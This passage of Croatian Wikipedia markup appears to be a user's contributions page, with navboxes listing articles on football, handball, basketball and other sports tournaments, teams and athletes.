{{flagicon|FRA}} [[Ligue 1]] {{nowrap end}} |group4 = Prvenstva |list4= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[Datoteka:LinkFA-star.png|14px]] [[FIFA Svjetsko prvenstvo|Svjetsko prvenstvo]] |list1= {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA|1830}} [[FIFA Svjetsko prvenstvo 1938|1938.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|BRA|1889a}} [[FIFA Svjetsko prvenstvo 1950|1950.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[FIFA Svjetsko prvenstvo 1998|1998.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|BRA}} [[FIFA Svjetsko prvenstvo 2014|2014.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|RUS}} [[FIFA Svjetsko prvenstvo 2018.|2018.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|Katar}} [[FIFA Svjetsko prvenstvo 2022.|2022.]] {{•w}} {{flagicon|Kanada}} / {{flagicon|Meksiko}} / {{flagicon|SAD}} [[FIFA Svjetsko prvenstvo 2026.|2026.]] {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Finala |list1= {{nowrap begin}} [[Finale FIFA Svjetskog prvenstva 1954.|1954.]] {{•w}} [[Nizozemska - Zapadna Njemačka (finale Svjetskog prvenstva u nogometu 1974.)|1974.]] {{•w}} [[Brazil - Francuska (finale FIFA Svjetskog prvenstva 1998)|1998.]] {{•w}} [[Italija - Francuska (finale Svjetskog prvenstva u nogometu 2006.)|2006.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] [[Francuska – Hrvatska (finale FIFA Svjetskog prvenstva 2018.)|2018.]] {{nowrap end}} }} |group2 = [[Datoteka:LinkFA-star.png|14px]] [[UEFA Euro|Europsko prvenstvo]] |list2= {{nowrap begin}} {{flagicon|POLJ}} / {{flagicon|UKR}} [[UEFA Euro 2012|2012.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[UEFA Euro 2016.|2016.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EU}} [[UEFA Euro 2020.|2020.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|NJE}} [[UEFA Euro 2024.|2024.]] {{nowrap end}} |group3 = Olimpijske igre |list3= |group4 = Kup nacija |list4 = {{nowrap begin}} {{flagicon|GAN}} [[Afrički kup nacija 1963.|1963.]] {{•w}} {{flagicon|GAN}} [[Afrički kup nacija 1978.|1978.]] {{•w}} {{flagicon|GAN}} / {{flagicon|Nigerija}} [[Afrički kup nacija 2000.|2000.]] {{•w}} {{flagicon|GAN}} [[Afrički kup nacija 2008.|2008.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|ANG}} [[Afrički kup nacija 2010.|2010.]] {{nowrap end}} |group5 = [[AFC Azijski kup|Azijski kup]] |list5 = {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SIN}} [[AFC Azijski kup 1984.|1984.]] {{nowrap end}} }} |group5 = Ostalo |list5= {{nowrap begin}} [[FIFA 100]] {{•w}} [[Australija - Američka Samoa (kvalifikacijska utakmica za FIFA Svjetsko prvenstvo 2002)|Australija 31:0 Američka Samoa]] {{•w}} [[Nagrade FIFA Svjetskog prvenstva]] {{•w}} [[Trofej Artemio Franchi]] {{•w}} [[Urugvaj - Brazil (finalna runda FIFA Svjetskog prvenstva 1950)|''Maracanaço'']] {{•w}} ''[[Brazil - Njemačka (polufinale FIFA Svjetskog prvenstva 2014)|Mineiraço]]'' {{•w}} [[Portugal - Sjeverna Koreja (četvrtfinale FIFA Svjetskog prvenstva 1966)|Portugal 5:3 Sjeverna Koreja]] {{•w}} [[Maskote FIFA Svjetskih prvenstava]] {{•w}} "[[Laka konjica (Mađarska)|Laka konjica]]" {{•w}} "[[Bitka za Bern (FIFA Svjetsko prvenstvo 1954.)|Bitka za Bern]]" {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Suci |list1= {{nowrap begin}} {{flagicon|ARG}} [[Néstor Pitana]] {{•w}} {{flagicon|BEL}} [[Frank De Bleeckere]] {{•w}} {{flagicon|UZB}} [[Ravšan Irmatov]] {{nowrap end}} |group2 = Stadioni |list2 = {{nowrap begin}} [[Estadio Nacional de Costa Rica (2011)]] {{•w}} [[Stadion Ohene Djan|Ohene Djan]] {{•w}} [[Stadion Baba Yara|Baba Yara]] {{•w}} [[Stade de France]] {{•w}} [[Estádio 11 de Novembro]] {{•w}} [[Stade de l'Amitié]] {{nowrap end}} }} }} |group2 = [[File:Ice hockey pictogram.svg|20px]] Hokej na ledu |list2= {{nowrap begin}} {{flagicon|KAN}} [[Hokej na ledu na ZOI 2010. - muškarci]] {{nowrap end}} |group3 = [[File:Handball pictogram.svg|20px]] Rukomet |list3= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = EHF |list1= {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Francuska rukometna reprezentacija|Francuska]] {{•w}} {{flagicon|SRB}} [[Srpska rukometna reprezentacija|Srbija]] {{•w}} {{flagicon|UK}} [[Rukometna reprezentacija Ujedinjenog Kraljevstva|Ujedinjeno Kraljevstvo]] {{•w}} {{flagicon|MAĐ}} [[Rukometna reprezentacija Mađarske|Mađarska]] {{•w}} {{flagicon|ŠPA}} [[Rukometna reprezentacija Španjolske|Španjolska]] {{•w}} {{flagicon|FIN}} [[Rukometna reprezentacija Finske|Finska]] {{•w}} {{flagicon|BJE}} [[Rukometna reprezentacija Bjelorusije|Bjelorusija]] {{•w}} {{flagicon|MAK}} [[Rukometna reprezentacija Makedonije|Makedonija]] {{•w}} {{flagicon|CG}} [[Rukometna reprezentacija Crne Gore|Crna Gora]] {{•w}} {{flagicon|SLO}} [[Rukometna reprezentacija Slovenije|Slovenija]] {{•w}} {{flagicon|AUT}} [[Rukometna reprezentacija Austrije|Austrija]] {{•w}} {{flagicon|BIH}} [[Rukometna reprezentacija Bosne i Hercegovine|Bosna i Hercegovina]] {{•w}} {{flagicon|ISL}} [[Rukometna reprezentacija Islanda|Island]] {{•w}} {{flagicon|ČEŠ}} [[Rukometna reprezentacija Češke|Češka]] {{•w}} {{flagicon|SLK}} [[Rukometna reprezentacija Slovačke|Slovačka]] {{•w}} {{flagicon|EST}} [[Rukometna reprezentacija Estonije|Estonija]] {{nowrap end}} |group2 = AHF |list2= {{nowrap begin}} {{flagicon|JKO}} [[Rukometna reprezentacija Južne Koreje|Južna Koreja]] {{•w}} {{flagicon|KAT}} [[Rukometna reprezentacija Katara|Katar]] {{•w}} {{flagicon|SAU}} [[Rukometna reprezentacija Saudijske Arabije|Saudijska Arabija]] {{•w}} {{flagicon|JAP}} [[Rukometna reprezentacija Japana|Japan]] {{•w}} {{flagicon|UAE}} [[Rukometna reprezentacija Ujedinjenih Arapskih Emirata|Ujedinjeni Arapski Emirati]] {{•w}} {{flagicon|SJKOR}} [[Rukometna reprezentacija Sjeverne Koreje|Sjeverna Koreja]] {{•w}} {{flagicon|SIN}} [[Rukometna reprezentacija Singapura|Singapur]] {{nowrap end}} |group3 = CAHB |list3= {{nowrap begin}} {{flagicon|TUN}} [[Rukometna reprezentacija Tunisa|Tunis]] {{•w}} {{flagicon|EGI}} [[Rukometna reprezentacija Egipta|Egipat]] {{•w}} {{flagicon|ALŽ}} [[Rukometna reprezentacija Alžira|Alžir]] {{•w}} {{flagicon|ANG}} [[Rukometna reprezentacija Angole|Angola]] {{•w}} {{flagicon|BEN}} [[Rukometna reprezentacija Benina|Benin]] {{•w}} {{flagicon|COD}} [[Rukometna reprezentacija Demokratske Republike Kongo|DR Kongo]] {{nowrap end}} |group4 = OCHF |list4= {{nowrap begin}} {{flagicon|AUS}} [[Rukometna reprezentacija Australije|Australija]] {{•w}} {{flagicon|NZL}} [[Rukometna reprezentacija Novog Zelanda|Novi Zeland]] {{•w}} {{flagicon|Cookovi Otoci}} [[Rukometna reprezentacija Cookovog Otočja|Cookovi Otoci]] {{•w}} {{flagicon|Nova Kaledonija}} [[Rukometna reprezentacija Nove Kaledonije|Nova Kaledonija]] {{•w}} {{flagicon|FIJ}} [[Rukometna reprezentacija Fidžija|Fidži]] {{nowrap end}} |group5 = PATHF |list5= {{nowrap begin}} {{flagicon|ČIL}} [[Čileanska rukometna reprezentacija|Čile]] {{•w}} {{flagicon|ARG}} [[Rukometna reprezentacija Argentine|Argentina]] {{•w}} {{flagicon|BRA}} [[Rukometna reprezentacija Brazila|Brazil]] {{•w}} {{flagicon|HON}} [[Rukometna reprezentacija Hondurasa|Honduras]] {{•w}} {{flagicon|CRC}} [[Rukometna reprezentacija Kostarike|Kostarika]] {{•w}} {{flagicon|KUB}} [[Rukometna reprezentacija Kube|Kuba]] {{•w}} {{flagicon|VEN}} [[Rukometna reprezentacija Venezuele|Venezuela]] {{•w}} {{flagicon|PAN}} [[Rukometna reprezentacija Paname|Panama]] {{nowrap end}} }} |group2 = Klubovi |list2= {{flagicon|FRA}} [[Montpellier HB]] |group3 = Prvenstva |list3= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[Datoteka:LinkFA-star.png|14px]] [[Svjetsko prvenstvo u rukometu za muškarce|Svjetsko prvenstvo]] |list1= {{flagicon|NJE|Nazi}} [[Svjetsko prvenstvo u rukometu - Njemačka 1938.|1938.]] • {{flagicon|ŠVE}} [[Svjetsko prvenstvo u rukometu - Švedska 1954.|1954.]] • {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 1970.|1970.]] • {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 2001.|2001.]] • {{flagicon|HRV}} [[Svjetsko prvenstvo u rukometu - Hrvatska 2009.|2009.]] <small>(osim dvorana)</small> • {{flagicon|ŠVE}} [[Svjetsko prvenstvo u rukometu - Švedska 2011.|2011.]] • {{flagicon|ŠPA}} [[Svjetsko prvenstvo u rukometu - Španjolska 2013.|2013.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|Katar}} [[Svjetsko prvenstvo u rukometu - Katar 2015.|2015.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 2017.|2017.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}} / {{flagicon|NJE}} [[IHF Svjetsko prvenstvo 2019.|2019.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EGI}} [[IHF Svjetsko prvenstvo 2021.|2021.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|POLJ}}{{flagicon|ŠVE}} [[IHF Svjetsko rukometno prvenstvo 2023.|2023.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}}{{flagicon|HRV}}{{flagicon|NOR}} [[IHF Svjetsko rukometno prvenstvo 2025.|2025.]] |group2 = [[Europsko prvenstvo u rukometu|Europsko prvenstvo]] |list2= {{flagicon|POR}} [[Europsko prvenstvo u rukometu - Portugal 1994.|1994.]] • {{flagicon|AUT}} [[Europsko prvenstvo u rukometu - Austrija 2010.|2010.]] • {{flagicon|SRB}} [[Europsko prvenstvo u rukometu - Srbija 2012.|2012.]] • {{flagicon|DAN}} [[Europsko prvenstvo u rukometu - Danska 2014.|2014.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|POLJ}} [[Europsko prvenstvo u rukometu - Poljska 2016.|2016.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|HRV}} [[Europsko prvenstvo u rukometu - Hrvatska 2018.|2018.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|AUT}}{{flagicon|NOR}}{{flagicon|ŠVE}} [[EHF Euro 2020.|2020.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|MAĐ}}{{flagicon|SLK}} [[EHF Euro 2022.|2022.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|NJE}} [[EHF Euro 2024.|2024.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}}{{flagicon|NOR}}{{flagicon|ŠVE}} [[EHF Euro 2026.|2026.]] |group3 = [[Rukomet na Olimpijskim igrama|Olimpijske igre]] |list3= {{flagicon|FIN}} [[Rukomet na Ljetnim olimpijskim igrama 1952.|1952.]] • {{flagicon|SAD}} [[Rukomet na OI 1996. - muškarci|1996. (M)]] • {{flagicon|KIN}} [[Rukomet na OI 2008. - muškarci|2008. (M)]] • {{flagicon|UK}} [[Rukomet na Olimpijadi 2012. - muškarci|2012. (M)]] • {{flagicon|BRA}} [[Rukomet na Olimpijadi 2016. - muškarci|2016. (M)]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|JAP}} [[Rukomet na Olimpijadi 2020. – Muškarci|2020. (M)]] • {{flagicon|FRA}} [[Rukomet na Olimpijadi 2024. – Muškarci|2024. (M)]] |group4 = [[Oceanijski kup nacija (rukomet)|Oceanijsko prvenstvo]] |list4= {{flagicon|NZL}} [[Oceanijski kup nacija - Novi Zeland 2010.|2010.]] • {{flagicon|AUS}} [[Oceanijski kup nacija 2012 (rukomet)|2012.]] |group5 = [[Afrički rukometni kup nacija|Afričko prvenstvo]] |list5= {{flagicon|ANG}} [[Afrički rukometni kup nacija - Angola 2008.|2008.]] }} |group4 = Ostalo |list4= [[Rivalstvo Francuske i Hrvatske u rukometu]] • [[IHF-ov igrač godine]] • [[IHF]] • [[EHF Kuća slavnih]] }} |group4 = [[File:Tennis pictogram.svg|20px]] Tenis |list4= {{flagicon|UK}} [[Wimbledon 2009.]] • {{flagicon|UK}} [[Wimbledon 2011.]] |group5 = [[File:Basketball pictogram.svg|20px]] Košarka |list5= [[FIBA EuroBasket]] • "[[Havlicek je ukrao loptu!]]" • [[FIBA Kuća slavnih]] ([[Lista članova FIBA Kuće slavnih|članovi]]) • [[Datoteka:LinkFA-star.png|14px]] [[FIBA Svjetsko prvenstvo u košarci]] {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1 = {{flagicon|BEN}} [[Košarkaška reprezentacija Benina|Benin]] • {{flagicon|HON}} [[Košarkaška reprezentacija Hondurasa|Honduras]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} "[[Muška olimpijska košarkaška reprezentacija Sjedinjenih Američkih Država iz 1992.|Dream Team]]" • {{flagicon|EST}} [[Košarkaška reprezentacija Estonije|Estonija]] • {{flagicon|SUR}} [[Košarkaška reprezentacija Surinama|Surinam]] • {{flagicon|SIN}} [[Košarkaška reprezentacija Singapura|Singapur]] • {{flagicon|PAN}} [[Košarkaška reprezentacija Paname|Panama]] |group2 = Klubovi |list2 = [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Boston Celtics]] ([[Spisak igrača Boston Celticsa|igrači]]) }} | group6 = [[File:Rugby union pictogram.svg|20px]] Ragbi | list6 = {{nowrap begin}} {{flagicon|NZL}} [[Ragbi reprezentacija Novog Zelanda|Novi Zeland]] • {{flagicon|FIJ}} [[Ragbi reprezentacija Fidžija|Fidži]] ([[Ragbi sedam reprezentacija Fidžija|ragbi sedam]]) {{nowrap end}} | group7 = [[File:Baseball pictogram.svg|20px]] Bejzbol | list7 = {{nowrap begin}} {{flagicon|PAN}} [[Bejzbolska reprezentacija Paname|Panama]] {{nowrap end}} |below = {{flagicon|SRB}} [[Srbija na OI 2008.]] }} ===Sportaši=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi o sportašima | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | group1 = [[File:Athletics pictogram.svg|20px]] Atletika | list1 = {{nowrap begin}} {{flagicon|ANG}} [[João N'Tyamba]]{{•w}} {{flagicon|AUS}} [[Jack Metcalfe]]{{•w}} {{flagicon|ČEŠ}} [[Roman Šebrle]]{{•w}} {{flagicon|JAM}} [[Usain Bolt]]{{•w}} {{flagicon|KUB}} [[Dayron Robles]]{{•w}} {{flagicon|NZL}} [[Peter Snell]]{{•w}} {{flagicon|RUS}} [[Andrej Silnov]]{{•w}} {{flagicon|SLO}} [[Primož Kozmus]] {{nowrap end}} | group2 = [[File:Boxing pictogram.svg|20px]] Boks | list2 = {{nowrap begin}} {{flagicon|GAN}} [[Clement Quartey]]{{•w}} {{flagicon|GAN}} [[Eddie Blay]]{{•w}} {{flagicon|GAN}} [[Prince Amartey]]{{•w}} {{flagicon|KUB}} [[Teófilo Stevenson]]{{•w}} {{flagicon|VEN}} [[Francisco Rodríguez (boksač, rođen 1945.)|Francisco Rodríguez]]{{•w}} {{flagicon|PAN}} [[Roberto Durán]] {{nowrap end}} | group3 = [[File:F1 pictogram.svg|20px]] Formula 1 | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Jack Brabham]]{{•w}} {{flagicon|AUS}} [[Alan Jones]]{{•w}} {{flagicon|BRA}} [[Nelson Piquet]]{{•w}} {{flagicon|FRA}} [[Alain Prost]]{{•w}} {{flagicon|NZL}} [[Denny Hulme]]{{•w}} {{flagicon|NZL}} [[Bruce McLaren]] {{nowrap end}} | group4 = [[File:Basketball pictogram.svg|20px]] Košarka | list4 = {{nowrap begin}} {{flagicon|BRA}} [[Nenê]]{{•w}} {{flagicon|BRA}} [[Leandro Barbosa]]{{•w}} {{flagicon|BRA}} [[Oscar Schmidt]]{{•w}} {{flagicon|BRA}} [[Anderson Varejão]]{{•w}} {{flagicon|BRA}} [[Tiago Splitter]]{{•w}} {{flagicon|ČEŠ}} [[Jan Veselý]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DR Kongo}}{{flagicon|SAD}} [[Dikembe Mutombo]]{{•w}} {{flagicon|FRA}} [[Tony Parker]]{{•w}} {{flagicon|FRA}} [[Joakim Noah]]{{•w}} {{flagicon|FRA}} [[Boris Diaw]]{{•w}} {{flagicon|FRA}} [[Nicolas Batum]]{{•w}} {{flagicon|FRA}} [[Pape Sy]]{{•w}} {{flagicon|LIT}} [[Arvydas Sabonis]]{{•w}} {{flagicon|NZL}} [[Sean Marks]]{{•w}} {{flagicon|NZL}} [[Steven Adams]]{{•w}} {{flagicon|PAN}} [[Rolando Frazer]]{{•w}} {{flagicon|RUS}} [[Aleksandar Belov]]{{•w}} {{flagicon|SAD}} [[Danny Ainge]]{{•w}} {{flagicon|SAD}} [[Red Auerbach]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Larry Bird]]{{•w}} {{flagicon|SAD}} [[Chuck Cooper (košarkaš)|Chuck Cooper]]{{•w}} {{flagicon|SAD}} [[Bob Cousy]]{{•w}} {{flagicon|SAD}} [[John Havlicek]]{{•w}} {{flagicon|SAD}} [[Tom Heinsohn]]{{•w}} {{flagicon|SAD}} [[Dennis Johnson]]{{•w}} {{flagicon|SAD}} [[K. C. Jones]]{{•w}} {{flagicon|SAD}} [[Sam Jones (košarkaš)|Sam Jones]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Kevin McHale (košarkaš)|Kevin McHale]]{{•w}} {{flagicon|SAD}} [[Robert Parish]]{{•w}} {{flagicon|VEN}} [[Greivis Vásquez]] {{nowrap end}} | group5 = [[File:Fencing pictogram.svg|20px]] Mačevanje | list5 = {{nowrap begin}} {{flagicon|KUB}} [[Ramón Fonst]]{{•w}} {{flagicon|VEN}} [[Rubén Limardo]] {{nowrap end}} | group6 = [[File:Swimming pictogram.svg|20px]] Plivanje | list6 = {{nowrap begin}} {{flagicon|AUS}} [[Ian Thorpe]]{{•w}} {{flagicon|CRC}} [[Claudia Poll]]{{•w}} {{flagicon|CRC}} [[Silvia Poll]] {{nowrap end}} | group7 = [[File:Rugby union pictogram.svg|20px]] Ragbi | list7 = {{nowrap begin}} {{flagicon|NZL}} [[Jonah Lomu]] {{nowrap end}} | group8 = [[File:Alpine skiing pictogram.svg|20px]] Skijanje | list8 = {{nowrap begin}} {{flagicon|GAN}} [[Kwame Nkrumah-Acheampong]] {{nowrap end}} | group9 = [[File:Tennis pictogram.svg|20px]] Tenis | list9 = {{nowrap begin}} {{flagicon|FRA}} [[Yannick Noah]]{{•w}} {{flagicon|FRA}} [[René Lacoste]]{{•w}} {{flagicon|FRA}} [[Marion Bartoli]]{{•w}} {{flagicon|FRA}} [[Richard Gasquet]]{{•w}} {{flagicon|ITA}} [[Jannik Sinner]]{{•w}} {{flagicon|NZL}} [[Anthony Wilding]]{{•w}} {{flagicon|ŠPA}} [[Carlos Alcaraz]] {{nowrap end}} | group10 = [[File:Weightlifting pictogram.svg|20px]] Dizanje utega | list10 = {{nowrap begin}} {{flagicon|SIN}} [[Tan Howe Liang]] {{nowrap end}} | group11 = [[File:Table tennis pictogram.svg|20px]] Stolni tenis | list11 = {{nowrap begin}} {{flagicon|SIN}} [[Feng Tianwei]] {{nowrap end}} }} {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | title = Doprinosi o rukometašima | listclass = hlist | group1 = Europa | list1 = {{nowrap begin}} {{flagicon|AUT}} [[Thomas Bauer]]{{•w}} {{flagicon|AUT}} [[Mykola Bilyk]]{{•w}} {{flagicon|AUT}} [[Robert Weber (rukometaš)|Robert Weber]]{{•w}} {{flagicon|BJE}} [[Sjargej Rutenka]]{{•w}} {{flagicon|BJE}} [[Jurij Šaucou]]{{•w}} {{flagicon|BJE}} [[Mihail Jakimovič]]{{•w}} {{flagicon|CG}} [[Veselin Vujović]]{{•w}} {{flagicon|CG}} [[Žarko Marković]]{{•w}} {{flagicon|CG}} [[Rade Mijatović]]{{•w}} {{flagicon|CG}} [[Miloš Vujović]]{{•w}} {{flagicon|CG}} [[Vasko Ševaljević]]{{•w}} {{flagicon|CG}} [[Branko Vujović]]{{•w}} {{flagicon|ČEŠ}} [[Filip Jícha]]{{•w}} {{flagicon|ČEŠ}} [[Jan Filip (rukometaš)|Jan Filip]]{{•w}} {{flagicon|ČEŠ}} [[Ondřej Zdráhala]]{{•w}} {{flagicon|ČEŠ}} [[Daniel Kubeš]]{{•w}} {{flagicon|ČEŠ}} [[David Juříček]]{{•w}} {{flagicon|DAN}} [[Flemming Ladefoged Hansen|Flemming Hansen]]{{•w}} {{flagicon|DAN}} [[Søren Stryger]]{{•w}} {{flagicon|DAN}} [[Kasper Hvidt]]{{•w}} {{flagicon|DAN}} [[Jan Eiberg Jørgensen|Jan Jørgensen]]{{•w}} {{flagicon|DAN}} [[Lasse Svan Hansen]]{{•w}} {{flagicon|DAN}} [[Michael Damgaard]]{{•w}} {{flagicon|DAN}} [[Allan Damgaard]]{{•w}} {{flagicon|DAN}} [[Rasmus Lauge Schmidt]]{{•w}} {{flagicon|DAN}} [[Nikolaj Jacobsen]]{{•w}} {{flagicon|DAN}} [[Magnus Landin]]{{•w}} {{flagicon|DAN}} [[Mathias Gidsel]]{{•w}} {{flagicon|DAN}} [[Anders Eggert]]{{•w}} {{flagicon|DAN}} [[Simon Pytlick]]{{•w}} {{flagicon|DAN}} [[Magnus Saugstrup]]{{•w}} {{flagicon|DAN}} [[Emil Jakobsen]]{{•w}} {{flagicon|DAN}} [[Lukas Jørgensen]]{{•w}} {{flagicon|FRO}} [[Elias Ellefsen á Skipagøtu]]{{•w}} {{flagicon|FRO}} [[Hákun West av Teigum]]{{•w}} {{flagicon|GRU}} [[Giorgi Chovrebadze]]{{•w}} {{flagicon|HRV}} [[Marko Mamić]]{{•w}} {{flagicon|HRV}} [[Igor Karačić]]{{•w}} {{flagicon|HRV}} [[Zlatko Saračević]]{{•w}} {{flagicon|HRV}} [[Alvaro Načinović]]{{•w}} {{flagicon|HRV}} [[Ivan Martinović]]{{•w}} {{flagicon|HRV}} [[Goran Perkovac]]{{•w}} {{flagicon|ISL}} [[Guðjón Valur Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Þórir Ólafsson]]{{•w}} {{flagicon|ISL}} [[Ólafur Stefánsson]]{{•w}} {{flagicon|ISL}} [[Aron Pálmarsson]]{{•w}} {{flagicon|ISL}} [[Alexander Petersson]]{{•w}} {{flagicon|ISL}} [[Dagur Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Snorri Steinn Guðjónsson]]{{•w}} {{flagicon|ISL}} [[Guðmundur Guðmundsson]]{{•w}} {{flagicon|ISL}} [[Kristján Andrésson]]{{•w}} {{flagicon|ISL}} [[Ómar Ingi Magnússon]]{{•w}} {{flagicon|ISL}} [[Viktor Gísli Hallgrímsson]]{{•w}} {{flagicon|ISL}} [[Bjarki Már Elísson]]{{•w}} {{flagicon|ISL}} [[Alfreð Gíslason]]{{•w}} {{flagicon|ISL}} [[Orri Freyr Þorkelsson]]{{•w}} {{flagicon|ISL}} [[Viggó Kristjánsson]]{{•w}} {{flagicon|ISL}} [[Gísli Þorgeir Kristjánsson]]{{•w}} {{flagicon|ITA}} [[Leo Prantner]]{{•w}} {{flagicon|LAT}} [[Dainis Krištopāns]]{{•w}} {{flagicon|MAĐ}} [[László Nagy]]{{•w}} {{flagicon|MAĐ}} [[Gábor Császár]]{{•w}} {{flagicon|MAĐ}} [[Máté Lékai]]{{•w}} {{flagicon|MAĐ}} [[Timuzsin Schuch]]{{•w}} {{flagicon|MAĐ}} [[Bence Bánhidi]]{{•w}} {{flagicon|MAĐ}} [[József Éles]]{{•w}} {{flagicon|MAĐ}} [[Roland Mikler]]{{•w}} {{flagicon|MAĐ}} [[Bence Imre]]{{•w}} {{flagicon|MAK}} [[Filip Lazarov]]{{•w}} {{flagicon|MAK}} [[Naumče Mojsovski]]{{•w}} {{flagicon|MAK}} [[Dejan Manaskov]]{{•w}} {{flagicon|MAK}} [[Stojanče Stoilov]]{{•w}} {{flagicon|NIZ}} [[Kay Smits]]{{•w}} {{flagicon|NIZ}} [[Luc Steins]]{{•w}} {{flagicon|NIZ}} [[Rutger ten Velde]]{{•w}} {{flagicon|NIZ}} [[Dani Baijens]]{{•w}} {{flagicon|NIZ}} [[Arjen Versteijnen]]{{•w}} {{flagicon|NIZ}} [[Niels Versteijnen]]{{•w}} {{flagicon|NOR}} [[Christian Berge]]{{•w}} {{flagicon|NOR}} [[Sander Sagosen]]{{•w}} {{flagicon|NOR}} [[Frank Løke]]{{•w}} {{flagicon|NOR}} [[Kent Robin Tønnesen]]{{•w}} {{flagicon|NOR}} [[Torbjørn Bergerud]]{{•w}} {{flagicon|NOR}} [[Christian O'Sullivan]]{{•w}} {{flagicon|NOR}} [[Bjarte Myrhol]]{{•w}} {{flagicon|NOR}} [[Kristian Bjørnsen]]{{•w}} {{flagicon|NOR}} [[Magnus Abelvik Rød]]{{•w}} {{flagicon|NOR}} [[Magnus Jøndal]]{{•w}} {{flagicon|NOR}} [[Håvard Tvedten]]{{•w}} {{flagicon|NOR}} [[Alexander Blonz]]{{•w}} {{flagicon|NOR}} [[August Pedersen]]{{•w}} {{flagicon|NJE}} [[Hans Theilig]]{{•w}} {{flagicon|NJE}} [[Henning Fritz]]{{•w}} {{flagicon|NJE}} [[Daniel Stephan]]{{•w}} {{flagicon|NJE}} [[Uwe Gensheimer]]{{•w}} {{flagicon|NJE}} [[Andreas Wolff]]{{•w}} {{flagicon|NJE}} [[Tobias Reichmann]]{{•w}} {{flagicon|NJE}} [[Thomas Knorr]]{{•w}} {{flagicon|NJE}} [[Volker Zerbe]]{{•w}} {{flagicon|NJE}} [[Christian Sprenger]]{{•w}} {{flagicon|NJE}} [[Florian Kehrmann]]{{•w}} {{flagicon|NJE}} [[Stefan Kretzschmar]]{{•w}} {{flagicon|NJE}} [[Fabian Wiede]]{{•w}} {{flagicon|NJE}} [[Timo Kastening]]{{•w}} {{flagicon|NJE}} [[Hendrik Pekeler]]{{•w}} {{flagicon|NJE}} [[Christian Schwarzer]]{{•w}} {{flagicon|NJE}} [[Michael Kraus (rukometaš)|Michael Kraus]]{{•w}} {{flagicon|NJE}} [[Johannes Golla]]{{•w}} {{flagicon|NJE}} [[Juri Knorr]]{{•w}} {{flagicon|NJE}} [[Renārs Uščins]]{{•w}} {{flagicon|NJE}} [[Marko Grgić]]{{•w}} {{flagicon|POLJ}} [[Sławomir Szmal]]{{•w}} {{flagicon|POLJ}} [[Krzysztof Lijewski]]{{•w}} {{flagicon|POLJ}} [[Marcin Lijewski]]{{•w}} {{flagicon|POLJ}} [[Bartosz Jurecki]]{{•w}} {{flagicon|POLJ}} [[Michał Jurecki]]{{•w}} {{flagicon|POLJ}} [[Mariusz Jurkiewicz]]{{•w}} {{flagicon|POLJ}} [[Mariusz Jurasik]]{{•w}} {{flagicon|POR}} [[Carlos Resende]]{{•w}} {{flagicon|POR}} [[Alfredo Quintana]]{{•w}} {{flagicon|POR}} [[Rui Silva (rukometaš)|Rui Silva]]{{•w}} {{flagicon|POR}} [[Paulo Pereira]]{{•w}} {{flagicon|POR}} [[Pedro Portela]]{{•w}} {{flagicon|POR}} [[Martim Costa]]{{•w}} {{flagicon|POR}} [[Luís Frade]]{{•w}} {{flagicon|POR}} [[António 